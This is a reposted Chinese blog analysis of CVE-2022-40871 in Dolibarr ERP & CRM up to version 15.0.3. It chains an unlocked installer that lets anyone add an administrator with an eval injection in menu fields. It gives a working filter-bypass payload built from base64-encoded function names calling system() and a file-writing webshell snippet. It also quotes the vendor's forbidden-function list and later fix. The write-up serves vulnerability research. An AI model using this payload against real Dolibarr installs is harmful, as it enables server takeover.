首页 > 其他分享 >CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

时间:2022-11-14 12:33:13浏览次数:79  
标签:Dolibarr 2022 dol menu 漏洞 eval verifCond RCE php

0x01 漏洞简介

Dolibarr ERP & CRM <=15.0.3 is vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval.

CVE编号:CVE-2022-2633

漏洞描述:Dolibarr edit.php 存在远程命令执行漏洞,攻击者通过逻辑漏洞创建管理员后可以通过后台漏洞获取服务器权限

影响版本:<= 15.0.3

0x02 漏洞分析

1.环境搭建

源码下载地址:https://github.com/Dolibarr/dolibarr/archive/refs/tags/15.0.3.zip

解压到web目录下直接访问~/htdocs/即可

image-20221112215135292

然后配置一下conf/conf.php即可进行安装

2.任意管理员用户注册

这其实算是个逻辑漏洞,在install系统以后,他不会进行锁定,而是需要用户在documents目录中手动添加,所以我们随时可以进入这里去添加管理员账号:~/install/step4.php

比如这里我添加一个aaa用户

image-20221112224440198

可以成功进入后台的

image-20221112224514801

3.后台RCE

后台RCE的最后点在htdocs/core/lib/functions.lib.phpdol_eval()函数

但是这里是有waf的,把大多数的危险函数都给ban了


    // We block use of php exec or php file functions

    $forbiddenphpstrings = array('$$');

    $forbiddenphpstrings = array_merge($forbiddenphpstrings, array('_ENV', '_SESSION', '_COOKIE', '_GET', '_POST', '_REQUEST'));


    $forbiddenphpfunctions = array("exec", "passthru", "shell_exec", "system", "proc_open", "popen", "eval", "dol_eval", "executeCLI");

    $forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("fopen", "file_put_contents", "fputs", "fputscsv", "fwrite", "fpassthru", "require", "include", "mkdir", "rmdir", "symlink", "touch", "unlink", "umask"));

    $forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("function", "call_user_func"));


    $forbiddenphpregex = 'global\s+\$|\b('.implode('|', $forbiddenphpfunctions).')\b';


    do {

        $oldstringtoclean = $s;

        $s = str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s);

        $s = preg_replace('/'.$forbiddenphpregex.'/i', '__forbiddenstring__', $s);

        //$s = preg_replace('/\$[a-zA-Z0-9_\->\$]+\(/i', '', $s);    // Remove $function( call and $mycall->mymethod(

    } while ($oldstringtoclean != $s);


    if (strpos($s, '__forbiddenstring__') !== false) {

        dol_syslog('Bad string syntax to evaluate: '.$s, LOG_WARNING);

        if ($returnvalue) {

            return 'Bad string syntax to evaluate: '.$s;

        } else {

            dol_syslog('Bad string syntax to evaluate: '.$s);

            return '';

        }

    }


    //print $s."<br>\n";

    if ($returnvalue) {

        if ($hideerrors) {

            return @eval('return '.$s.';');

        } else {

            return eval('return '.$s.';');

        }

    } else {

        if ($hideerrors) {

            @eval($s);

        } else {

            eval($s);

        }

    }


这里再去找找dol_eval()的调用,上面的verifCond()就调用了

而这里进行了一个拼接,这个外面后面再谈

function verifCond($strToEvaluate)

{

   global $user, $conf, $langs;

   global $leftmenu;

   global $rights; // To export to dol_eval function


   //print $strToEvaluate."<br>\n";

   $rights = true;

   if (isset($strToEvaluate) && $strToEvaluate !== '') {

      $str = 'if(!('.$strToEvaluate.')) $rights = false;';

      dol_eval($str, 0, 1, '2'); 

   }

   return $rights;

}


再转而寻找verifCond函数的全局的参数可控的调用,在menubase.class.php的menuLoad()函数中就存在一个点

image-20221112232201159

可以看到这里verifCond代码虽然是可控的,但是是从数据库中查询的结果中获取的

关注permsenable,这两个都是可以直接进入verifCond的

        $resql = $this->db->query($sql);

        if ($resql) {

            $numa = $this->db->num_rows($resql);


            $a = 0;

            $b = 0;

            while ($a < $numa) {

                //$objm = $this->db->fetch_object($resql);

                $menu = $this->db->fetch_array($resql);


                // Define $right

                $perms = true;

                if (isset($menu['perms'])) {

                    $tmpcond = $menu['perms'];

                    if ($leftmenu == 'all') {

                        $tmpcond = preg_replace('/\$leftmenu\s*==\s*["\'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true

                    }

                    $perms = verifCond($tmpcond);

                    //print "verifCond rowid=".$menu['rowid']." ".$tmpcond.":".$perms."<br>\n";

                }


                // Define $enabled

                $enabled = true;

                if (isset($menu['enabled'])) {

                    $tmpcond = $menu['enabled'];

                    if ($leftmenu == 'all') {

                        $tmpcond = preg_replace('/\$leftmenu\s*==\s*["\'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true

                    }

                    $enabled = verifCond($tmpcond);

                }


我们去前面看看这里执行的sql语句,他是从".MAIN_DB_PREFIX."menu表中查询的数据,但是有WHERE条件语句

  • m.entity IN (0,".$conf->entity.")
  • m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')

所以我们如果能找到一个INSERT进".MAIN_DB_PREFIX."menu中、可以控制permsenable字段并且entitymenu_handler能满足WHERE条件的语句即可,这里注意entity来源于$conf->entity


$sql = "SELECT m.rowid, m.type, m.module, m.fk_menu, m.fk_mainmenu, m.fk_leftmenu, m.url, m.titre, m.prefix, m.langs, m.perms, m.enabled, m.target, m.mainmenu, m.leftmenu, m.position";

$sql .= " FROM ".MAIN_DB_PREFIX."menu as m";

$sql .= " WHERE m.entity IN (0,".$conf->entity.")";

$sql .= " AND m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')";

if ($type_user == 0) {

    $sql .= " AND m.usertype IN (0,2)";

}

if ($type_user == 1) {

    $sql .= " AND m.usertype IN (1,2)";

}

$sql .= " ORDER BY m.position, m.rowid";



这里直接正则搜索一下,的确存在这么个点,在同一个文件的create()函数

image-20221113000249851

接下来得看看参数是否可控,这里的VALUES设定为成员属性,但是entity是$conf->entity,这里就直接满足了条件,因为上面SQL查询也是这个

image-20221113001946769

接下来发现menu_handler在执行menuLoad函数的时候都会自动填入的

image-20221113002330295

所以这两个WHERE条件都解决了,剩下就是看permsenable是否可控了,在类内部没看到有对成员变量赋值的地方,所以还得全局搜索一下

发现permsenablemenus/edit.php中都是可以直接控制的

image-20221113002856865

经过调试发现,这里menuId需要唯一否则会冲突无法写入数据库,这里的type需要设置为1,否则也会报错

接下来就可以研究一下,如何去绕过waf执行eval,这里作者的做法是利用php的特性:变量函数

// file_put_contents

$a=base64_decode('ZmlsZV9wdXRfY29udGVudHM=');

// shellcode

$a('.1234.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+Cg=='));

再往前看verifCond函数

这里进行了一个字符串的拼接,由于是执行eval的,所以我们可以去闭合他的括号,注释掉后面的代码

function verifCond($strToEvaluate)

{

   global $user, $conf, $langs;

   global $leftmenu;

   global $rights; // To export to dol_eval function


   //print $strToEvaluate."<br>\n";

   $rights = true;

   if (isset($strToEvaluate) && $strToEvaluate !== '') {

      $str = 'if(!('.$strToEvaluate.')) $rights = false;';

      dol_eval($str, 0, 1, '2'); 

   }

   return $rights;

}

也就是这样的一个payload(无害化的payload

1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);//


然后放在enable参数存入数据库,最后发包如下

image-20221113004416906

成功存入数据库

image-20221113004508666

debug一下,进入verifCond

image-20221113004645570

跟进verifCond,恶意构造拼接绕过,进入dol_eval

image-20221113004826342

代码执行成功

image-20221113004918701

成功getshell

image-20221113005123697

漏洞调用栈

image-20221113004952924

0x03 漏洞总结

这里这个RCE漏洞,其实原理类似于二次注入,先把恶意代码存入数据库,再从数据库提取数据时触发恶意代码,这里还绕过了一个waf,利用的是php的特性——变量函数

漏洞修复

这里作者对于漏洞的修复一个是verifCond函数的加固

这里取消了字符串的拼接且让dol_eval的第四个参数为"1"

image-20221113010538177

这样就会走入下面的这个判断,看注释这里的正则就是为了防止RCE而设计的

image-20221113011151428

一个是dol_eval函数的加强,这里forbiddenphpfunctions里添加了verifCond函数,直接禁止了verifCond的执行,但是不太懂这有啥意义hhh

image-20221113010132703







作者:Huamang转自原文连接: https://blog.huamang.xyz/post/cve-2022-40871/

标签:Dolibarr,2022,dol,menu,漏洞,eval,verifCond,RCE,php
From: https://www.cnblogs.com/backlion/p/16888668.html

相关文章

  • 2022-2023-1 20211408 《信息安全专业导论》第十二周学习总结
    2021-2022-120211408《信息安全专业导论》第十二周学习总结2021-2022-120211408《信息安全专业导论》第十二周学习总结作业信息作业模板:https://www.cnblogs.com/ro......
  • zzszoi20221112
    zzszoi20221112记录作者zzafanti(FreshOrange)请勿转载比赛地址前言这次出题相对前三次模拟赛来说难度有所加大,也只有三道题。第一道是基础的数学题,有思维含量。......
  • Codeforces 722 F Cyclic Cipher 题解 (同余方程,two-pointers)
    题目链接前两天做过一个题意类似但做法不类似的题在这里首先做这道题需要一个结论:(一元)同余方程组有解的充要条件是方程组中的所有方程两两联立有解。证明两个同......
  • HDC2022重磅发布“鸿蒙赋能全家桶”,开发者的新时代要来了?
    HDC2022重磅发布“鸿蒙赋能全家桶”,开发者的新时代要来了?前言11月4日在华为开发者大会2022(HDC)现场宣布发布“鸿蒙开发者赋能7大套件”,代表着鸿蒙生态新的征程。而早在今年7......
  • 【2022-11-08】陪护了一晚
    20:00为我们的愿望设个上限,给我们的欲求配上鞍鞯,把我们的愤怒驯服招安,时刻牢记,可取之物如沧海,每人仅能得一粟。                  ......
  • 【2022-11-09】连岳摘抄
    23:59因为曾经淋过雨,所以我总想着,有机会一定要去给别人撑伞。                                 ......
  • 7 BEST NOTION ALTERNATIVES (OPEN-SOURCE AND SECURE)
    https://akshayhallur.com/blog/best-notion-alternatives WhywouldanyonelookforNotionalternatives?It’sagreatapp,right?Suppose,let’ssay,yo......
  • 今日笔记之20221114
    1.vue中刷新页面,echarts图表不显示问题? <divid="myChart"></div><script>exportdefault{data(){return{myChart:{}}},mounted:{this.init......
  • Xmind 2022 for Mac(思维导图软件) 22.10.927中文版
    Xmind2022forMac是一款全功能的思维导图软件,拥有专业实用的功能,包括思维管理、商务演示、与办公软件协同工作等功能,让您的办公更有效,还加入了演讲模式,在演说模式可自动生......
  • 为提高 SDLC 安全,GitHub 发布新功能|GitHub Universe 2022
    GitHubUniverse2022于上周举办。在此次大会上,Github公布了开源软件状态的最新报告,报告中的统计数据显示,90%的公司都在使用开源,现在GitHub上有9400万用户,2022年有高......